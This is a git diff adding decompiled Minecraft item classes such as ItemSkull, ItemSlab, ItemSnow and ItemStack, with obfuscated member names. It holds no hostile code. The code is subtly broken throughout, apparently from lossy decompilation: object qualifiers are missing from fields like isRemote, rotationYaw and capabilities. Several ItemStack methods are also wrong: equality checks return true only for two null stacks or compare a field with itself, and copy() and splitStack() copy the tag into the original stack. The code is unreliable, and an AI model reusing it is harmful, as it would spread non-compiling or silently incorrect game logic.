+  public boolean onItemUse(ItemStack stack, EntityPlayer playerIn, World worldIn, BlockPos pos, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    if (side == EnumFacing.DOWN)
+    {
+      return false;
+    }
+    if (!worldIn.getBlockState(pos).getBlock().getMaterial().isSolid())
+    {
+      return false;
+    }
+    
+
+    pos = pos.offset(side);
+    
+    if (!playerIn.func_175151_a(pos, side, stack))
+    {
+      return false;
+    }
+    if (!Blocks.standing_sign.canPlaceBlockAt(worldIn, pos))
+    {
+      return false;
+    }
+    if (isRemote)
+    {
+      return true;
+    }
+    
+
+    if (side == EnumFacing.UP)
+    {
+      int var9 = MathHelper.floor_double((rotationYaw + 180.0F) * 16.0F / 360.0F + 0.5D) & 0xF;
+      worldIn.setBlockState(pos, Blocks.standing_sign.getDefaultState().withProperty(BlockStandingSign.ROTATION_PROP, Integer.valueOf(var9)), 3);
+    }
+    else
+    {
+      worldIn.setBlockState(pos, Blocks.wall_sign.getDefaultState().withProperty(net.minecraft.block.BlockWallSign.field_176412_a, side), 3);
+    }
+    
+    stackSize -= 1;
+    net.minecraft.tileentity.TileEntity var10 = worldIn.getTileEntity(pos);
+    
+    if (((var10 instanceof TileEntitySign)) && (!ItemBlock.setTileEntityNBT(worldIn, pos, stack)))
+    {
+      playerIn.func_175141_a((TileEntitySign)var10);
+    }
+    
+    return true;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemSimpleFoiled.java b/src/minecraft/net/minecraft/item/ItemSimpleFoiled.java
new file mode 100644
index 0000000..72bcebb
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemSimpleFoiled.java
@@ -0,0 +1,11 @@
+package net.minecraft.item;
+
+public class ItemSimpleFoiled extends Item {
+  private static final String __OBFID = "CL_00000065";
+  
+  public ItemSimpleFoiled() {}
+  
+  public boolean hasEffect(ItemStack stack) {
+    return true;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemSkull.java b/src/minecraft/net/minecraft/item/ItemSkull.java
new file mode 100644
index 0000000..01d499b
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemSkull.java
@@ -0,0 +1,204 @@
+package net.minecraft.item;
+
+import com.mojang.authlib.GameProfile;
+import java.util.List;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockSkull;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Blocks;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTUtil;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.tileentity.TileEntitySkull;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.StatCollector;
+import net.minecraft.world.World;
+
+public class ItemSkull extends Item
+{
+  private static final String[] skullTypes = { "skeleton", "wither", "zombie", "char", "creeper" };
+  private static final String __OBFID = "CL_00000067";
+  
+  public ItemSkull()
+  {
+    setCreativeTab(CreativeTabs.tabDecorations);
+    setMaxDamage(0);
+    setHasSubtypes(true);
+  }
+  
+
+
+
+
+
+
+  public boolean onItemUse(ItemStack stack, EntityPlayer playerIn, World worldIn, BlockPos pos, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    if (side == EnumFacing.DOWN)
+    {
+      return false;
+    }
+    
+
+    IBlockState var9 = worldIn.getBlockState(pos);
+    Block var10 = var9.getBlock();
+    boolean var11 = var10.isReplaceable(worldIn, pos);
+    
+    if (!var11)
+    {
+      if (!worldIn.getBlockState(pos).getBlock().getMaterial().isSolid())
+      {
+        return false;
+      }
+      
+      pos = pos.offset(side);
+    }
+    
+    if (!playerIn.func_175151_a(pos, side, stack))
+    {
+      return false;
+    }
+    if (!Blocks.skull.canPlaceBlockAt(worldIn, pos))
+    {
+      return false;
+    }
+    
+
+    if (!isRemote)
+    {
+      worldIn.setBlockState(pos, Blocks.skull.getDefaultState().withProperty(BlockSkull.field_176418_a, side), 3);
+      int var12 = 0;
+      
+      if (side == EnumFacing.UP)
+      {
+        var12 = MathHelper.floor_double(rotationYaw * 16.0F / 360.0F + 0.5D) & 0xF;
+      }
+      
+      TileEntity var13 = worldIn.getTileEntity(pos);
+      
+      if ((var13 instanceof TileEntitySkull))
+      {
+        TileEntitySkull var14 = (TileEntitySkull)var13;
+        
+        if (stack.getMetadata() == 3)
+        {
+          GameProfile var15 = null;
+          
+          if (stack.hasTagCompound())
+          {
+            NBTTagCompound var16 = stack.getTagCompound();
+            
+            if (var16.hasKey("SkullOwner", 10))
+            {
+              var15 = NBTUtil.readGameProfileFromNBT(var16.getCompoundTag("SkullOwner"));
+            }
+            else if ((var16.hasKey("SkullOwner", 8)) && (var16.getString("SkullOwner").length() > 0))
+            {
+              var15 = new GameProfile(null, var16.getString("SkullOwner"));
+            }
+          }
+          
+          var14.setPlayerProfile(var15);
+        }
+        else
+        {
+          var14.setType(stack.getMetadata());
+        }
+        
+        var14.setSkullRotation(var12);
+        Blocks.skull.func_180679_a(worldIn, pos, var14);
+      }
+      
+      stackSize -= 1;
+    }
+    
+    return true;
+  }
+  
+
+
+
+
+
+
+
+  public void getSubItems(Item itemIn, CreativeTabs tab, List subItems)
+  {
+    for (int var4 = 0; var4 < skullTypes.length; var4++)
+    {
+      subItems.add(new ItemStack(itemIn, 1, var4));
+    }
+  }
+  
+
+
+
+
+  public int getMetadata(int damage)
+  {
+    return damage;
+  }
+  
+
+
+
+
+  public String getUnlocalizedName(ItemStack stack)
+  {
+    int var2 = stack.getMetadata();
+    
+    if ((var2 < 0) || (var2 >= skullTypes.length))
+    {
+      var2 = 0;
+    }
+    
+    return super.getUnlocalizedName() + "." + skullTypes[var2];
+  }
+  
+  public String getItemStackDisplayName(ItemStack stack)
+  {
+    if ((stack.getMetadata() == 3) && (stack.hasTagCompound()))
+    {
+      if (stack.getTagCompound().hasKey("SkullOwner", 8))
+      {
+        return StatCollector.translateToLocalFormatted("item.skull.player.name", new Object[] { stack.getTagCompound().getString("SkullOwner") });
+      }
+      
+      if (stack.getTagCompound().hasKey("SkullOwner", 10))
+      {
+        NBTTagCompound var2 = stack.getTagCompound().getCompoundTag("SkullOwner");
+        
+        if (var2.hasKey("Name", 8))
+        {
+          return StatCollector.translateToLocalFormatted("item.skull.player.name", new Object[] { var2.getString("Name") });
+        }
+      }
+    }
+    
+    return super.getItemStackDisplayName(stack);
+  }
+  
+
+
+
+  public boolean updateItemStackNBT(NBTTagCompound nbt)
+  {
+    super.updateItemStackNBT(nbt);
+    
+    if ((nbt.hasKey("SkullOwner", 8)) && (nbt.getString("SkullOwner").length() > 0))
+    {
+      GameProfile var2 = new GameProfile(null, nbt.getString("SkullOwner"));
+      var2 = TileEntitySkull.updateGameprofile(var2);
+      nbt.setTag("SkullOwner", NBTUtil.writeGameProfile(new NBTTagCompound(), var2));
+      return true;
+    }
+    
+
+    return false;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemSlab.java b/src/minecraft/net/minecraft/item/ItemSlab.java
new file mode 100644
index 0000000..761693b
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemSlab.java
@@ -0,0 +1,136 @@
+package net.minecraft.item;
+
+import net.minecraft.block.Block.SoundType;
+import net.minecraft.block.BlockSlab;
+import net.minecraft.block.BlockSlab.EnumBlockHalf;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.World;
+
+public class ItemSlab extends ItemBlock
+{
+  private final BlockSlab field_150949_c;
+  private final BlockSlab field_179226_c;
+  private static final String __OBFID = "CL_00000071";
+  
+  public ItemSlab(net.minecraft.block.Block p_i45782_1_, BlockSlab p_i45782_2_, BlockSlab p_i45782_3_)
+  {
+    super(p_i45782_1_);
+    field_150949_c = p_i45782_2_;
+    field_179226_c = p_i45782_3_;
+    setMaxDamage(0);
+    setHasSubtypes(true);
+  }
+  
+
+
+
+
+  public int getMetadata(int damage)
+  {
+    return damage;
+  }
+  
+
+
+
+
+  public String getUnlocalizedName(ItemStack stack)
+  {
+    return field_150949_c.getFullSlabName(stack.getMetadata());
+  }
+  
+
+
+
+
+
+
+  public boolean onItemUse(ItemStack stack, EntityPlayer playerIn, World worldIn, BlockPos pos, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    if (stackSize == 0)
+    {
+      return false;
+    }
+    if (!playerIn.func_175151_a(pos.offset(side), side, stack))
+    {
+      return false;
+    }
+    
+
+    Object var9 = field_150949_c.func_176553_a(stack);
+    IBlockState var10 = worldIn.getBlockState(pos);
+    
+    if (var10.getBlock() == field_150949_c)
+    {
+      net.minecraft.block.properties.IProperty var11 = field_150949_c.func_176551_l();
+      Comparable var12 = var10.getValue(var11);
+      BlockSlab.EnumBlockHalf var13 = (BlockSlab.EnumBlockHalf)var10.getValue(BlockSlab.HALF_PROP);
+      
+      if (((side == EnumFacing.UP) && (var13 == BlockSlab.EnumBlockHalf.BOTTOM)) || ((side == EnumFacing.DOWN) && (var13 == BlockSlab.EnumBlockHalf.TOP) && (var12 == var9)))
+      {
+        IBlockState var14 = field_179226_c.getDefaultState().withProperty(var11, var12);
+        
+        if ((worldIn.checkNoEntityCollision(field_179226_c.getCollisionBoundingBox(worldIn, pos, var14))) && (worldIn.setBlockState(pos, var14, 3)))
+        {
+          worldIn.playSoundEffect(pos.getX() + 0.5F, pos.getY() + 0.5F, pos.getZ() + 0.5F, field_179226_c.stepSound.getPlaceSound(), (field_179226_c.stepSound.getVolume() + 1.0F) / 2.0F, field_179226_c.stepSound.getFrequency() * 0.8F);
+          stackSize -= 1;
+        }
+        
+        return true;
+      }
+    }
+    
+    return func_180615_a(stack, worldIn, pos.offset(side), var9) ? true : super.onItemUse(stack, playerIn, worldIn, pos, side, hitX, hitY, hitZ);
+  }
+  
+
+  public boolean canPlaceBlockOnSide(World worldIn, BlockPos p_179222_2_, EnumFacing p_179222_3_, EntityPlayer p_179222_4_, ItemStack p_179222_5_)
+  {
+    BlockPos var6 = p_179222_2_;
+    net.minecraft.block.properties.IProperty var7 = field_150949_c.func_176551_l();
+    Object var8 = field_150949_c.func_176553_a(p_179222_5_);
+    IBlockState var9 = worldIn.getBlockState(p_179222_2_);
+    
+    if (var9.getBlock() == field_150949_c)
+    {
+      boolean var10 = var9.getValue(BlockSlab.HALF_PROP) == BlockSlab.EnumBlockHalf.TOP;
+      
+      if (((p_179222_3_ == EnumFacing.UP) && (!var10)) || ((p_179222_3_ == EnumFacing.DOWN) && (var10) && (var8 == var9.getValue(var7))))
+      {
+        return true;
+      }
+    }
+    
+    p_179222_2_ = p_179222_2_.offset(p_179222_3_);
+    IBlockState var11 = worldIn.getBlockState(p_179222_2_);
+    return (var11.getBlock() == field_150949_c) && (var8 == var11.getValue(var7)) ? true : super.canPlaceBlockOnSide(worldIn, var6, p_179222_3_, p_179222_4_, p_179222_5_);
+  }
+  
+  private boolean func_180615_a(ItemStack p_180615_1_, World worldIn, BlockPos p_180615_3_, Object p_180615_4_)
+  {
+    IBlockState var5 = worldIn.getBlockState(p_180615_3_);
+    
+    if (var5.getBlock() == field_150949_c)
+    {
+      Comparable var6 = var5.getValue(field_150949_c.func_176551_l());
+      
+      if (var6 == p_180615_4_)
+      {
+        IBlockState var7 = field_179226_c.getDefaultState().withProperty(field_150949_c.func_176551_l(), var6);
+        
+        if ((worldIn.checkNoEntityCollision(field_179226_c.getCollisionBoundingBox(worldIn, p_180615_3_, var7))) && (worldIn.setBlockState(p_180615_3_, var7, 3)))
+        {
+          worldIn.playSoundEffect(p_180615_3_.getX() + 0.5F, p_180615_3_.getY() + 0.5F, p_180615_3_.getZ() + 0.5F, field_179226_c.stepSound.getPlaceSound(), (field_179226_c.stepSound.getVolume() + 1.0F) / 2.0F, field_179226_c.stepSound.getFrequency() * 0.8F);
+          stackSize -= 1;
+        }
+        
+        return true;
+      }
+    }
+    
+    return false;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemSnow.java b/src/minecraft/net/minecraft/item/ItemSnow.java
new file mode 100644
index 0000000..8bc76e9
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemSnow.java
@@ -0,0 +1,79 @@
+package net.minecraft.item;
+
+import net.minecraft.block.Block;
+import net.minecraft.block.Block.SoundType;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.World;
+
+public class ItemSnow extends ItemBlock
+{
+  private static final String __OBFID = "CL_00000068";
+  
+  public ItemSnow(Block p_i45781_1_)
+  {
+    super(p_i45781_1_);
+    setMaxDamage(0);
+    setHasSubtypes(true);
+  }
+  
+
+
+
+
+
+
+  public boolean onItemUse(ItemStack stack, EntityPlayer playerIn, World worldIn, BlockPos pos, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    if (stackSize == 0)
+    {
+      return false;
+    }
+    if (!playerIn.func_175151_a(pos, side, stack))
+    {
+      return false;
+    }
+    
+
+    IBlockState var9 = worldIn.getBlockState(pos);
+    Block var10 = var9.getBlock();
+    
+    if ((var10 != block) && (side != EnumFacing.UP))
+    {
+      pos = pos.offset(side);
+      var9 = worldIn.getBlockState(pos);
+      var10 = var9.getBlock();
+    }
+    
+    if (var10 == block)
+    {
+      int var11 = ((Integer)var9.getValue(net.minecraft.block.BlockSnow.LAYERS_PROP)).intValue();
+      
+      if (var11 <= 7)
+      {
+        IBlockState var12 = var9.withProperty(net.minecraft.block.BlockSnow.LAYERS_PROP, Integer.valueOf(var11 + 1));
+        
+        if ((worldIn.checkNoEntityCollision(block.getCollisionBoundingBox(worldIn, pos, var12))) && (worldIn.setBlockState(pos, var12, 2)))
+        {
+          worldIn.playSoundEffect(pos.getX() + 0.5F, pos.getY() + 0.5F, pos.getZ() + 0.5F, block.stepSound.getPlaceSound(), (block.stepSound.getVolume() + 1.0F) / 2.0F, block.stepSound.getFrequency() * 0.8F);
+          stackSize -= 1;
+          return true;
+        }
+      }
+    }
+    
+    return super.onItemUse(stack, playerIn, worldIn, pos, side, hitX, hitY, hitZ);
+  }
+  
+
+
+
+
+
+  public int getMetadata(int damage)
+  {
+    return damage;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemSnowball.java b/src/minecraft/net/minecraft/item/ItemSnowball.java
new file mode 100644
index 0000000..6ec32b6
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemSnowball.java
@@ -0,0 +1,39 @@
+package net.minecraft.item;
+
+import java.util.Random;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.projectile.EntitySnowball;
+import net.minecraft.world.World;
+
+public class ItemSnowball extends Item
+{
+  private static final String __OBFID = "CL_00000069";
+  
+  public ItemSnowball()
+  {
+    maxStackSize = 16;
+    setCreativeTab(CreativeTabs.tabMisc);
+  }
+  
+
+
+
+  public ItemStack onItemRightClick(ItemStack itemStackIn, World worldIn, EntityPlayer playerIn)
+  {
+    if (!capabilities.isCreativeMode)
+    {
+      stackSize -= 1;
+    }
+    
+    worldIn.playSoundAtEntity(playerIn, "random.bow", 0.5F, 0.4F / (itemRand.nextFloat() * 0.4F + 0.8F));
+    
+    if (!isRemote)
+    {
+      worldIn.spawnEntityInWorld(new EntitySnowball(worldIn, playerIn));
+    }
+    
+    playerIn.triggerAchievement(net.minecraft.stats.StatList.objectUseStats[Item.getIdFromItem(this)]);
+    return itemStackIn;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemSoup.java b/src/minecraft/net/minecraft/item/ItemSoup.java
new file mode 100644
index 0000000..8742b38
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemSoup.java
@@ -0,0 +1,26 @@
+package net.minecraft.item;
+
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Items;
+import net.minecraft.world.World;
+
+public class ItemSoup extends ItemFood
+{
+  private static final String __OBFID = "CL_00001778";
+  
+  public ItemSoup(int p_i45330_1_)
+  {
+    super(p_i45330_1_, false);
+    setMaxStackSize(1);
+  }
+  
+
+
+
+
+  public ItemStack onItemUseFinish(ItemStack stack, World worldIn, EntityPlayer playerIn)
+  {
+    super.onItemUseFinish(stack, worldIn, playerIn);
+    return new ItemStack(Items.bowl);
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemSpade.java b/src/minecraft/net/minecraft/item/ItemSpade.java
new file mode 100644
index 0000000..3e108a1
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemSpade.java
@@ -0,0 +1,25 @@
+package net.minecraft.item;
+
+import com.google.common.collect.Sets;
+import java.util.Set;
+import net.minecraft.block.Block;
+import net.minecraft.init.Blocks;
+
+public class ItemSpade extends ItemTool
+{
+  private static final Set field_150916_c = Sets.newHashSet(new Block[] { Blocks.clay, Blocks.dirt, Blocks.farmland, Blocks.grass, Blocks.gravel, Blocks.mycelium, Blocks.sand, Blocks.snow, Blocks.snow_layer, Blocks.soul_sand });
+  private static final String __OBFID = "CL_00000063";
+  
+  public ItemSpade(Item.ToolMaterial p_i45353_1_)
+  {
+    super(1.0F, p_i45353_1_, field_150916_c);
+  }
+  
+
+
+
+  public boolean canHarvestBlock(Block blockIn)
+  {
+    return blockIn == Blocks.snow_layer;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemStack.java b/src/minecraft/net/minecraft/item/ItemStack.java
new file mode 100644
index 0000000..2361718
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemStack.java
@@ -0,0 +1,1111 @@
+package net.minecraft.item;
+
+import com.google.common.collect.Multimap;
+import java.text.DecimalFormat;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map.Entry;
+import java.util.Random;
+import java.util.UUID;
+import net.minecraft.block.Block;
+import net.minecraft.enchantment.Enchantment;
+import net.minecraft.enchantment.EnchantmentDurability;
+import net.minecraft.enchantment.EnchantmentHelper;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.EnumCreatureAttribute;
+import net.minecraft.entity.SharedMonsterAttributes;
+import net.minecraft.entity.ai.attributes.AttributeModifier;
+import net.minecraft.entity.item.EntityItemFrame;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.nbt.NBTBase;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTTagList;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.ChatComponentText;
+import net.minecraft.util.ChatStyle;
+import net.minecraft.util.EnumChatFormatting;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.RegistryNamespaced;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.util.StatCollector;
+import net.minecraft.world.World;
+
+public final class ItemStack
+{
+  public static final DecimalFormat DECIMALFORMAT = new DecimalFormat("#.###");
+  
+  public int stackSize;
+  
+  public int animationsToGo;
+  
+  private Item item;
+  
+  private NBTTagCompound stackTagCompound;
+  
+  private int itemDamage;
+  
+  private EntityItemFrame itemFrame;
+  
+  private Block canDestroyCacheBlock;
+  
+  private boolean canDestroyCacheResult;
+  
+  private Block canPlaceOnCacheBlock;
+  
+  private boolean canPlaceOnCacheResult;
+  
+  private static final String __OBFID = "CL_00000043";
+  
+
+  public ItemStack(Block blockIn)
+  {
+    this(blockIn, 1);
+  }
+  
+  public ItemStack(Block blockIn, int amount)
+  {
+    this(blockIn, amount, 0);
+  }
+  
+  public ItemStack(Block blockIn, int amount, int meta)
+  {
+    this(Item.getItemFromBlock(blockIn), amount, meta);
+  }
+  
+  public ItemStack(Item itemIn)
+  {
+    this(itemIn, 1);
+  }
+  
+  public ItemStack(Item itemIn, int amount)
+  {
+    this(itemIn, amount, 0);
+  }
+  
+  public ItemStack(Item itemIn, int amount, int meta)
+  {
+    canDestroyCacheBlock = null;
+    canDestroyCacheResult = false;
+    canPlaceOnCacheBlock = null;
+    canPlaceOnCacheResult = false;
+    item = itemIn;
+    stackSize = amount;
+    itemDamage = meta;
+    
+    if (itemDamage < 0)
+    {
+      itemDamage = 0;
+    }
+  }
+  
+  public static ItemStack loadItemStackFromNBT(NBTTagCompound nbt)
+  {
+    ItemStack var1 = new ItemStack();
+    var1.readFromNBT(nbt);
+    return var1.getItem() != null ? var1 : null;
+  }
+  
+  private ItemStack()
+  {
+    canDestroyCacheBlock = null;
+    canDestroyCacheResult = false;
+    canPlaceOnCacheBlock = null;
+    canPlaceOnCacheResult = false;
+  }
+  
+
+
+
+  public ItemStack splitStack(int amount)
+  {
+    ItemStack var2 = new ItemStack(item, amount, itemDamage);
+    
+    if (stackTagCompound != null)
+    {
+      stackTagCompound = ((NBTTagCompound)stackTagCompound.copy());
+    }
+    
+    stackSize -= amount;
+    return var2;
+  }
+  
+
+
+
+  public Item getItem()
+  {
+    return item;
+  }
+  
+
+
+
+
+  public boolean onItemUse(EntityPlayer playerIn, World worldIn, BlockPos pos, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    boolean var8 = getItem().onItemUse(this, playerIn, worldIn, pos, side, hitX, hitY, hitZ);
+    
+    if (var8)
+    {
+      playerIn.triggerAchievement(net.minecraft.stats.StatList.objectUseStats[Item.getIdFromItem(item)]);
+    }
+    
+    return var8;
+  }
+  
+  public float getStrVsBlock(Block p_150997_1_)
+  {
+    return getItem().getStrVsBlock(this, p_150997_1_);
+  }
+  
+
+
+
+
+  public ItemStack useItemRightClick(World worldIn, EntityPlayer playerIn)
+  {
+    return getItem().onItemRightClick(this, worldIn, playerIn);
+  }
+  
+
+
+
+  public ItemStack onItemUseFinish(World worldIn, EntityPlayer playerIn)
+  {
+    return getItem().onItemUseFinish(this, worldIn, playerIn);
+  }
+  
+
+
+
+  public NBTTagCompound writeToNBT(NBTTagCompound nbt)
+  {
+    ResourceLocation var2 = (ResourceLocation)Item.itemRegistry.getNameForObject(item);
+    nbt.setString("id", var2 == null ? "minecraft:air" : var2.toString());
+    nbt.setByte("Count", (byte)stackSize);
+    nbt.setShort("Damage", (short)itemDamage);
+    
+    if (stackTagCompound != null)
+    {
+      nbt.setTag("tag", stackTagCompound);
+    }
+    
+    return nbt;
+  }
+  
+
+
+
+  public void readFromNBT(NBTTagCompound nbt)
+  {
+    if (nbt.hasKey("id", 8))
+    {
+      item = Item.getByNameOrId(nbt.getString("id"));
+    }
+    else
+    {
+      item = Item.getItemById(nbt.getShort("id"));
+    }
+    
+    stackSize = nbt.getByte("Count");
+    itemDamage = nbt.getShort("Damage");
+    
+    if (itemDamage < 0)
+    {
+      itemDamage = 0;
+    }
+    
+    if (nbt.hasKey("tag", 10))
+    {
+      stackTagCompound = nbt.getCompoundTag("tag");
+      
+      if (item != null)
+      {
+        item.updateItemStackNBT(stackTagCompound);
+      }
+    }
+  }
+  
+
+
+
+  public int getMaxStackSize()
+  {
+    return getItem().getItemStackLimit();
+  }
+  
+
+
+
+  public boolean isStackable()
+  {
+    return (getMaxStackSize() > 1) && ((!isItemStackDamageable()) || (!isItemDamaged()));
+  }
+  
+
+
+
+  public boolean isItemStackDamageable()
+  {
+    return item != null;
+  }
+  
+  public boolean getHasSubtypes()
+  {
+    return item.getHasSubtypes();
+  }
+  
+
+
+
+  public boolean isItemDamaged()
+  {
+    return (isItemStackDamageable()) && (itemDamage > 0);
+  }
+  
+  public int getItemDamage()
+  {
+    return itemDamage;
+  }
+  
+  public int getMetadata()
+  {
+    return itemDamage;
+  }
+  
+  public void setItemDamage(int meta)
+  {
+    itemDamage = meta;
+    
+    if (itemDamage < 0)
+    {
+      itemDamage = 0;
+    }
+  }
+  
+
+
+
+  public int getMaxDamage()
+  {
+    return item.getMaxDamage();
+  }
+  
+
+
+
+
+
+
+  public boolean attemptDamageItem(int amount, Random rand)
+  {
+    if (!isItemStackDamageable())
+    {
+      return false;
+    }
+    
+
+    if (amount > 0)
+    {
+      int var3 = EnchantmentHelper.getEnchantmentLevel(unbreakingeffectId, this);
+      int var4 = 0;
+      
+      for (int var5 = 0; (var3 > 0) && (var5 < amount); var5++)
+      {
+        if (EnchantmentDurability.negateDamage(this, var3, rand))
+        {
+          var4++;
+        }
+      }
+      
+      amount -= var4;
+      
+      if (amount <= 0)
+      {
+        return false;
+      }
+    }
+    
+    itemDamage += amount;
+    return itemDamage > getMaxDamage();
+  }
+  
+
+
+
+
+  public void damageItem(int amount, EntityLivingBase entityIn)
+  {
+    if ((!(entityIn instanceof EntityPlayer)) || (!capabilities.isCreativeMode))
+    {
+      if (isItemStackDamageable())
+      {
+        if (attemptDamageItem(amount, entityIn.getRNG()))
+        {
+          entityIn.renderBrokenItemStack(this);
+          stackSize -= 1;
+          
+          if ((entityIn instanceof EntityPlayer))
+          {
+            EntityPlayer var3 = (EntityPlayer)entityIn;
+            var3.triggerAchievement(net.minecraft.stats.StatList.objectBreakStats[Item.getIdFromItem(item)]);
+            
+            if ((stackSize == 0) && ((getItem() instanceof ItemBow)))
+            {
+              var3.destroyCurrentEquippedItem();
+            }
+          }
+          
+          if (stackSize < 0)
+          {
+            stackSize = 0;
+          }
+          
+          itemDamage = 0;
+        }
+      }
+    }
+  }
+  
+
+
+
+  public void hitEntity(EntityLivingBase entityIn, EntityPlayer playerIn)
+  {
+    boolean var3 = item.hitEntity(this, entityIn, playerIn);
+    
+    if (var3)
+    {
+      playerIn.triggerAchievement(net.minecraft.stats.StatList.objectUseStats[Item.getIdFromItem(item)]);
+    }
+  }
+  
+
+
+
+
+
+  public void onBlockDestroyed(World worldIn, Block blockIn, BlockPos pos, EntityPlayer playerIn)
+  {
+    boolean var5 = item.onBlockDestroyed(this, worldIn, blockIn, pos, playerIn);
+    
+    if (var5)
+    {
+      playerIn.triggerAchievement(net.minecraft.stats.StatList.objectUseStats[Item.getIdFromItem(item)]);
+    }
+  }
+  
+
+
+
+  public boolean canHarvestBlock(Block p_150998_1_)
+  {
+    return item.canHarvestBlock(p_150998_1_);
+  }
+  
+  public boolean interactWithEntity(EntityPlayer playerIn, EntityLivingBase entityIn)
+  {
+    return item.itemInteractionForEntity(this, playerIn, entityIn);
+  }
+  
+
+
+
+  public ItemStack copy()
+  {
+    ItemStack var1 = new ItemStack(item, stackSize, itemDamage);
+    
+    if (stackTagCompound != null)
+    {
+      stackTagCompound = ((NBTTagCompound)stackTagCompound.copy());
+    }
+    
+    return var1;
+  }
+  
+  public static boolean areItemStackTagsEqual(ItemStack stackA, ItemStack stackB)
+  {
+    return (stackA == null) && (stackB == null);
+  }
+  
+
+
+
+  public static boolean areItemStacksEqual(ItemStack stackA, ItemStack stackB)
+  {
+    return (stackA == null) && (stackB == null);
+  }
+  
+
+
+
+  private boolean isItemStackEqual(ItemStack other)
+  {
+    return stackSize == stackSize;
+  }
+  
+
+
+
+  public static boolean areItemsEqual(ItemStack stackA, ItemStack stackB)
+  {
+    return (stackA == null) && (stackB == null);
+  }
+  
+
+
+
+
+  public boolean isItemEqual(ItemStack other)
+  {
+    return (other != null) && (item == item) && (itemDamage == itemDamage);
+  }
+  
+  public String getUnlocalizedName()
+  {
+    return item.getUnlocalizedName(this);
+  }
+  
+
+
+
+  public static ItemStack copyItemStack(ItemStack stack)
+  {
+    return stack == null ? null : stack.copy();
+  }
+  
+  public String toString()
+  {
+    return stackSize + "x" + item.getUnlocalizedName() + "@" + itemDamage;
+  }
+  
+
+
+
+
+  public void updateAnimation(World worldIn, Entity entityIn, int inventorySlot, boolean isCurrentItem)
+  {
+    if (animationsToGo > 0)
+    {
+      animationsToGo -= 1;
+    }
+    
+    item.onUpdate(this, worldIn, entityIn, inventorySlot, isCurrentItem);
+  }
+  
+  public void onCrafting(World worldIn, EntityPlayer playerIn, int amount)
+  {
+    playerIn.addStat(net.minecraft.stats.StatList.objectCraftStats[Item.getIdFromItem(item)], amount);
+    item.onCreated(this, worldIn, playerIn);
+  }
+  
+  public boolean getIsItemStackEqual(ItemStack p_179549_1_)
+  {
+    return isItemStackEqual(p_179549_1_);
+  }
+  
+  public int getMaxItemUseDuration()
+  {
+    return getItem().getMaxItemUseDuration(this);
+  }
+  
+  public EnumAction getItemUseAction()
+  {
+    return getItem().getItemUseAction(this);
+  }
+  
+
+
+
+
+
+  public void onPlayerStoppedUsing(World worldIn, EntityPlayer playerIn, int timeLeft)
+  {
+    getItem().onPlayerStoppedUsing(this, worldIn, playerIn, timeLeft);
+  }
+  
+
+
+
+  public boolean hasTagCompound()
+  {
+    return stackTagCompound != null;
+  }
+  
+
+
+
+  public NBTTagCompound getTagCompound()
+  {
+    return stackTagCompound;
+  }
+  
+
+
+
+
+
+
+  public NBTTagCompound getSubCompound(String key, boolean create)
+  {
+    if ((stackTagCompound != null) && (stackTagCompound.hasKey(key, 10)))
+    {
+      return stackTagCompound.getCompoundTag(key);
+    }
+    if (create)
+    {
+      NBTTagCompound var3 = new NBTTagCompound();
+      setTagInfo(key, var3);
+      return var3;
+    }
+    
+
+    return null;
+  }
+  
+
+  public NBTTagList getEnchantmentTagList()
+  {
+    return stackTagCompound == null ? null : stackTagCompound.getTagList("ench", 10);
+  }
+  
+
+
+
+  public void setTagCompound(NBTTagCompound nbt)
+  {
+    stackTagCompound = nbt;
+  }
+  
+
+
+
+  public String getDisplayName()
+  {
+    String var1 = getItem().getItemStackDisplayName(this);
+    
+    if ((stackTagCompound != null) && (stackTagCompound.hasKey("display", 10)))
+    {
+      NBTTagCompound var2 = stackTagCompound.getCompoundTag("display");
+      
+      if (var2.hasKey("Name", 8))
+      {
+        var1 = var2.getString("Name");
